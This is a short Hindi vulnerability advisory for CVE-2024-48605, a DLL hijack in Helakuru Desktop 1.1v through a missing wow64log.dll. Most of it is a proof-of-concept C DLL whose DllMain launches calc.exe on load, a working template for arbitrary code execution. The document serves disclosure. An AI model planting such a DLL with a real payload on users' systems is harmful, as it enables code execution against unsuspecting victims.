
Helakuru संस्करण 1.1 DLL हाईजैक - CVE-2024-48605
सारांश
Helakuru डेस्कटॉप संस्करण 1.1v 64-बिट और 32-बिट दोनों आर्किटेक्चर पर काम करता है। परीक्षण के दौरान, यह पाया गया कि प्रोग्राम wow64log.dll को लोड करने का प्रयास करता है, जो आधुनिक विंडोज ऑपरेटिंग सिस्टम में डिफ़ॉल्ट रूप से शामिल नहीं है। इसके परिणामस्वरूप 'Name not found' त्रुटि उत्पन्न होती है, जो प्रोग्राम को DLL हाईजैकिंग भेद्यता के लिए उजागर करती है। एक दुर्भावनापूर्ण wow64log.dll बनाकर, मनमाना कोड निष्पादन प्राप्त किया जा सकता है।
प्रभावित संस्करण
Helakuru Desktop 1.1v
पुनरुत्पादन के चरण

#include <windows.h>
#include <stdio.h>
void LaunchCalculator()
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
const char* calcCmd = "C:\\Windows\\System32\\calc.exe";
if (!CreateProcessA(
NULL,
(LPSTR)calcCmd,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi))
{
printf("CreateProcess failed (%d).\n", GetLastError());
}
else
{
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
LaunchCalculator();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}


प्रभाव: यह भेद्यता मनमाना कोड निष्पादन की अनुमति देती है।